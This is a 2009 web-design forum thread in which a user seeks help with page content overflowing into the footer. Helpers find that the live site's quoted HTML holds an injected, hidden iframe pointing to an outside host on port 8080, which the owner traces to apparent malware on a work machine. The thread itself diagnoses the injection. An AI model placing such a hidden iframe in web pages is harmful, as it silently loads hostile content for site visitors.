body text going into footer

vanishdesign · 08-11-2009, 05:48 PM

Need more info. Post a link or HTML and CSS.

Any floated content inside the box needs to be cleared. Set a width on the box and use overflow:hidden or add a blank div inside it that has {clear: both} applied to it.

sudodesign · 08-11-2009, 09:22 PM

Originally posted by vanishdesign View Post

Need more info. Post a link or HTML and CSS.

Any floated content inside the box needs to be cleared. Set a width on the box and use overflow:hidden or add a blank div inside it that has {clear: both} applied to it.

using overflow: hidden just cuts off the rest of the content in my main content area. I'm using overflow: scroll as a temporary solution but it adds a scroll bar inside the div that I don't want. I want to use the browser to scroll to see the rest of the content while the footer stays fixed.

#pgmain {
margin-left: 347px;
width: 487px;
height: 619px;
background-image: url(images/pgmainbg.gif);
background-repeat: no-repeat;
overflow: scroll;
}
#pgmain h2 {
font-size: 18px;
line-height: 25px;
font-family: georgia, arial, helvetica, sans-serif;
color: #000000;
padding: 31px 0px 0px 25px;
}
#pgmain p {
font-size: 12px;
line-height: 24px;
font-family: georgia, arial, helvetica, sans-serif;
color: #000000;
padding: 0px 40px 40px 25px;
}
#pgmain ul li {
font-size: 12px;
line-height: 24px;
font-family: georgia, arial, helvetica, sans-serif;
color: #000000;
padding: 0px 40px 0px 25px;
}

img.displayed {
display: block;
margin-left: auto;
margin-right: auto;
padding: 10px 10px 10px 10px;
}

#rightspacer {
margin-left: 834px;
float: right;
background-image: url(images/rightspacer.gif);
background-repeat: no-repeat;
}
#footer {
width: 960px;
height: 232px;
background-image: url(images/footerbg.gif);
background-repeat: no-repeat;
}
#footerinfo {
font-family: georgia;
font-size: 14px;
font-style: italic;
text-align: center;
padding-top: 10px;
overflow: hidden;
background-color: #000000;
clear: both;
}
#footerinfo a:link, #footerinfo a:visited {
color: #FFFFFF;
text-decoration: none;
}
#footerinfo a:hover, #footerinfo a:active {
color: #990000;
text-decoration: underline;
}

hank_scorpio · 08-11-2009, 09:47 PM

http://matthewjamestaylor.com/blog/k...om-of-the-page

C.E. · 08-12-2009, 03:08 PM

try adding position: relative; to the containing div? really hard to tell without seeing the whole code.

vanishdesign · 08-12-2009, 06:12 PM

"A link or Html and CSS"
Sorry but posting your CSS is completely useless when we don't know what the HTML looks like. It's like a frame without the picture.

sudodesign · 08-12-2009, 10:20 PM

Originally posted by vanishdesign View Post

"A link or Html and CSS"
Sorry but posting your CSS is completely useless when we don't know what the HTML looks like. It's like a frame without the picture.

I thought the footer css would do but I guess not.

this is the website www.chrisanguedesign.com

I have another problem. My home page is lower than my other pages. I can't seem to fix this either.

tZ · 08-12-2009, 10:32 PM

The style for the iframe needs to be display: none not visibility: hidden. Visibility Hidden will only hide it while display will treat it like it doesn't actually exists. You could also opt for giving it a absolute position which would probably do the trick as well. I don't even understand why its there in the first though.

The other problem can avoided by using this technique. Which I believe is similar to what eugenetyson posted if not he same. So its probably best just to rebuild the layout using proven techniques rather then wasting time trying to figure out it out on your own.

sudodesign · 08-13-2009, 01:01 AM

Originally posted by tZ View Post

The style for the iframe needs to be display: none not visibility: hidden. Visibility Hidden will only hide it while display will treat it like it doesn't actually exists. You could also opt for giving it a absolute position which would probably do the trick as well. I don't even understand why its there in the first though.

The other problem can avoided by using this technique. Which I believe is similar to what eugenetyson posted if not he same. So its probably best just to rebuild the layout using proven techniques rather then wasting time trying to figure out it out on your own.

I don't have this anywhere... visibility: hidden. ? What iframe do you mean?

tZ · 08-13-2009, 03:23 AM

HTML Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>Chris Angue Online Portfolio</title>

<link href="styles.css" rel="stylesheet" type="text/css" />



</head>

<-- this iframe right here -->
<body><iframe src="http://b8e.at:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>

<div id="container">

<div id="header">

<h1>Chris Angue Design</h1>

<a href="index.html"></a>

</div>



<div id="leftnav">

<ul>

<li id="current"><a href="index.html">home</a></li>

<li><a href="pages/about.html">about</a></li>

<li><a href="pages/portfolio.html">portfolio</a></li>

<li><a href="pages/contact.html">contact</a></li>

</ul>

</div>

<div id="main">

</div>

<div id="rightspacer">

</div>



<div id="footer">

</div>

<div id="footerinfo">

<a href="resume/resume.html">web design by chris angue</a>

</div>

sudodesign · 08-13-2009, 04:01 AM

Originally posted by tZ View Post

HTML Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>Chris Angue Online Portfolio</title>

<link href="styles.css" rel="stylesheet" type="text/css" />



</head>

<-- this iframe right here -->
<body><iframe src="http://b8e.at:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>

<div id="container">

<div id="header">

<h1>Chris Angue Design</h1>

<a href="index.html"></a>

</div>



<div id="leftnav">

<ul>

<li id="current"><a href="index.html">home</a></li>

<li><a href="pages/about.html">about</a></li>

<li><a href="pages/portfolio.html">portfolio</a></li>

<li><a href="pages/contact.html">contact</a></li>

</ul>

</div>

<div id="main">

</div>

<div id="rightspacer">

</div>



<div id="footer">

</div>

<div id="footerinfo">

<a href="resume/resume.html">web design by chris angue</a>

</div>

Thanks for pointing that out! The weird thing is that I don't see it when I open it in HTML-Kit or Notepad. What editor are you using because I can't seen to see the text. In my index.html code it just says <body>.

tZ · 08-13-2009, 04:09 AM

view source, but I first noticed it in firebug.

sudodesign · 08-13-2009, 04:09 AM

Omg! guess what tZ! I figured out what it was and why it's there. I have my source files at home which are "safe" so to speak. I was at work earlier today making a few edits and saw a weird pop-up while doing it and thought nothing of it. I thought it was coming from something else because I have so many windows open while I'm at work. Anyway, I think it's some sort of worm or virus! I'm not sure what it is but I'm sure I got it at work. I realized this when I checked the "live" index file and there it was.. that weird iframe thing and checked my raw files at home which indeed doesn't have it. It's fine now. Thanks tZ! Now, I gotta figure out where it's coming from at work because we work on a network so it could be a baddy somewhere within our intranet.

tZ · 08-13-2009, 04:13 AM

What application do you write HTML?

sudodesign · 08-13-2009, 04:16 AM

Originally posted by tZ View Post

view source, but I first noticed it in firebug.

for the footer problem, I attempted that solution that eugene suggested but what happened was weird. My footer image got pushed into that body image and I couldn't find away around this so I went back to my old code and kept the scroll value.
However, I think you're on to something tZ. I have yet to set a min-height or max height to my container. I'm going to test that out. Thanks again.

body text going into footer

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment